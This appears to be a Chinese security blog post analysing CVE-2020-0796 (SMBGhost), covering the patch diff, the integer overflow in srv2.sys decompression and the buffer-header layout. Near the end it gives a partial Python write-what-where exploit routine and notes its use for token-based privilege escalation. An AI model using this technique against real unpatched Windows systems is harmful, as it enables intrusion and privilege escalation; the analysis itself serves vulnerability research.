捡微软垃圾之CVE-2020-0796漏洞分析
2021-11-23 01:25:57 Author: mp.weixin.qq.com(查看原文) 阅读量:70 收藏

CVE-2020-0796漏洞分析

        挖洞是不可能挖洞的,IDA又不会用,只能跟团长一起在对比一些微软出的补丁,捡点垃圾用用这样子。   --圈子社区 二进制组  Rumsfeld

漏洞背景

2020年03月10日,Microsoft透露了一个SMB v3协议漏洞。
2020年03月12日, Microsoft出对应的补丁。
漏洞命名:SMB Ghost CVE-2020-0796
Microsoft Server Message Block 3.1.1(SMBv3)协议处理某些请求的方式中存在远程执行代码漏洞,可以在目标SMB服务器或客户端上执行代码。
为了利用针对服务器的漏洞,未经身份验证的攻击者可以将特制数据包发送到目标SMBv3服务器;若要利用针对客户端的漏洞,未经身份验证的攻击者将需要配置恶意的SMBv3服务器,并诱使用户连接到该服务器。

常用于渗透测试的提权操作多一些目前很多RCE Exp并不稳定。

影响范围

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
只影响 SMB v3.1.1,1903和1909

漏洞说明

漏洞文件:srv2.sys
漏洞函数:Srv2DecompressData
漏洞类型:整数溢出导致任意代码写入
漏洞函数说明:该函数负责申请内存并且,进行解压复制到申请内存空间。
漏洞原因:因为对长度没有进行校验,导致攻击者长度传入0xffffffff,偏移0x10.漏洞函数会对两者进行相加导致整数溢出
修复差异:检查长度并加入RtlULongAdd进行检测。

补丁对比

我们看一下旧版本和新版本补丁区别

file

发现加入了RtlULongAdd校验
分别对OriginalCompressedSegmentSize
和Offset进行校验相加是否存在整数溢出情况

漏洞协议

主要是基于SMB2 COMPRESSION TRANSFORM HEADER进行利用。
参考:SMB2 COMPRESSION TRANSFORM HEADER[1]

file

静态分析

发现SrvNetAllocateBuffer调用前并没有进行参数校验。

PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(        (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),        NULL);

直接进行相加,导致了整数溢出。如下反汇编代码

    xor  edx, edx    shr  rax, 20h    shr  rcx, 20h    add  ecx, eax //漏洞关键点    call  cs:SrvNetAllocateBuffe

崩溃分析

我们直接运行POC,看看add ecx,eax执行前后区别。

file

file

然后g后,发现recv超时了。

file

但是系统直接崩溃了
我们查看一下调用栈。

file

发现崩溃是RtlDecompressBufferXpressLz里面的qmemcpy发生溢出。

SrvNetAllocateBuffer到底发做了什么

这里我直接参考CVE-2020-0796 LPE 分析[2] 我们先看看函数内部。

PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer){    // ...
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) { if (AllocSize > 0x1000100) { //16M return NULL; } Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize); } else { int LookasideListIndex = 0; if (AllocSize > 0x1100) { LookasideListIndex = /* some calculation based on AllocSize */; }
SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex]; Result = /* fetch result from list */; }
// Initialize some Result fields...
return Result;}

在SrvNetAllocateBuffer中主要是判断根据申请堆的大小来从 SrvNetBufferLookasides堆链表中返回堆或从

SrvNetAllocateBufferFromPool中申请堆,并初始化堆的一些数据结构。poc中申请的堆大小为OriginalCompressedSegmentSize+Offset=0xffffffff+0x18=0x17,

SrvNetBufferLookasides会返回idx=0即SrvNetBufferLookasides[0]的堆,Windows下计算lookasides堆大小的方式为

>>> [hex((1 << (i + 12)) + 256) for i in range(9)][‘0x1100’, 0x2100’, 0x4100’, 0x8100’, 0x10100’, 0x20100’, 0x40100’, 0x80100’, 0x100100’]

值得注意的是,这里SrvNetBufferLookasides是调用SrvNetAllocateBufferFromPool进行的初始化,最后返回一个名为SRVNET_BUFFER_HDR 结构体

struct SRVNET_BUFFER_HDR {/*00*/  LIST_ENTRY ConnectionBufferList;/*10*/  WORD BufferFlags; // 0x01 - no transport header, 0x02 - part of a lookaside list/*12*/  WORD LookasideListIndex; // 0 to 8/*14*/  WORD LookasideListLogicalProcessor;/*16*/  WORD TracingDataCount; // 0, 1 or 2, for TracingPtr1/2, TracingUnknown1/2/*18*/  PBYTE UserBufferPtr;   //     重点/*20*/  DWORD UserBufferSizeAllocated;/*24*/  DWORD UserBufferSizeUsed;/*28*/  DWORD PoolAllocationSize;/*2C*/  BYTE unknown1[4];/*30*/  PBYTE PoolAllocationPtr;/*38*/  PMDL pMdl1;/*40*/  DWORD BytesProcessed;/*44*/  BYTE unknown2[4];/*48*/  SIZE_T BytesReceived;/*50*/  PMDL pMdl2;/*58*/  PVOID pSrvNetWskStruct;/*60*/  DWORD SmbFlags;/*64*/  PVOID TracingPtr1;/*6C*/  SIZE_T TracingUnknown1;/*74*/  PVOID TracingPtr2;/*7C*/  SIZE_T TracingUnknown2;/*84*/  BYTE unknown3[12];};

咱们重点0x18偏移处的UserBufferPtr就行了。
然后这是申请后的内存结构。长度为1150。当然不包含下面SRVNET_BUFFER_HDR结构体。

file

(User Buffer长度为1100)

正常的函数流程是申请内存后,对压缩数据进行解压,然后复制到USER BUFFER里面。

解压函数

我们看看解压函数,其实看参数就行可以了。

NTSTATUS Status = SmbCompressionDecompress(        Header->CompressionAlgorithm,        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,        (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),        (PUCHAR)Alloc->UserBuffer + Header->Offset,        Header->OriginalCompressedSegmentSize,        &FinalCompressedSize);

我们发现它拿Compressed SMB3 data数据段Offset偏移处的数据进行解压,存放在User Buffer(User Buffer Ptr)+Offset。然后使用memmove复制RAW_DATA记住这个User Buffer Ptr,和Offset

file

漏洞关键点。

但是,解压长度是OriginalCompressedSegmentSize。这也很致命,本来长度已经出问题了。这下好了解压数据可以小于0xffffffff,这样子,如果我们传入超出限制长度的数据,那么会直接导致内存溢出。但是我们再看看Srv2DecompressData函数内部,发现最后有一个memmove这个函数写入的地址是UserBufferPtr。

memcpy(            Alloc->UserBuffer,            (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),            Header->Offset);    

这个意味什么,User Buffer Ptr下面就是SRVNET_BUFFER_HDR,如果我们解压数据把User Buffer Ptr覆盖了再往下覆盖就能覆盖到SRVNET_BUFFER_HDR,那么不就直接可以控制了这个memmove写入的地址。这个memmove还有一个问题,写入的内容是(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),也就是Compressed SMB3 data,长度是Offset。
我再梳理一下,这个压缩数据是在Compressed SMB3 data+Offst,Compressed SMB3 data到Compressed SMB3 data+Offse就是memmove写入的数据。那么就形成了一个任意内存地址写入漏洞。
原理如下。

file

Exp分析

我们将OriginalCompressedSegmentSize设置为0xffffffff,Offset(写入长度就是0xf)设置为0x10。那么溢出了申请长度为0xf。(这个申请对利用过程只是起到溢出作用)
参考以下代码,注意注释内容

def write_what_where(ip_address, payload, address):    # 0x1100 bytes minus the data to write.    # Send random bytes for bad compression.    # Minimum payload size must be 16 bytes, otherwise packet is dropped.    #为解压数据是放在User Buffer,这个内存到SRVNET_BUFFER_HDR长度为0x1100    #然后-Offset长度。主要是解压数据存储是从Offset偏移开始,这处于User Buffer里面+Offset所以减去Offset。    data_to_compress = os.urandom(0x1100 - len(payload))    #现在内存已经到达SRVNET_BUFFER_HDR,我们抵达UserBufferPtr还有0x18位,那么先放0x18个0x0    # 0x18 null bytes that override the struct.    data_to_compress += b'\x00'*0x18    # Target address.    #将UserBufferPtr指向目标地址,一旦执行完成就会指向目标地址,不会是User Buffer    data_to_compress += struct.pack('<Q', address)    #将溢出数据进行压缩并且和Payload拼合,pyaload不要加密。    #这时整个packet长度为0x1100 + SRVNET_BUFFER_HDR覆盖数据 18+8(指针长度为8)
data = payload + compress(data_to_compress)
offset = len(what) return connect_and_send_compressed(ip_address, data, offset, -1)

目前网上用的LPE就是直接使用这种方法直接修改进程Token+40的值,进行提权。

参考

https://paper.seebug.org/1346/
https://blog.zecops.com/research/smbleedingghost-writeup-part-iii-from-remote-read-smbleed-to-rce/
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/793db6bb-25b4-4469-be49-a8d7045ba3a6
https://www.anquanke.com/post/id/215953

References

[1] SMB2 COMPRESSION TRANSFORM HEADER: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/793db6bb-25b4-4469-be49-a8d7045ba3a6
[2] CVE-2020-0796 LPE 分析: https://www.anquanke.com/post/id/215953

预告

最新的RDP的RCE洞已研究出了一点成果,不日跟各位大佬分享哦。

想加入二进制研究一起捡垃圾的大佬们,请联系团长大大。


文章原文:https://www.secquan.org/0x001/1072393

扫码关注|一手干货

汇聚新锐

共同进步

投稿加入:

webmaster

@secquan.org


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MTA3NTg2MA==&mid=2247485785&idx=1&sn=d2a5088441eebc33e5790119db3c8b6e&chksm=cfd3a522f8a42c34fa6f835456d1b3a247efc2de34fb67c473183fb745cb527c968b4419c0f1#rd
如有侵权请联系:admin#unsafe.sh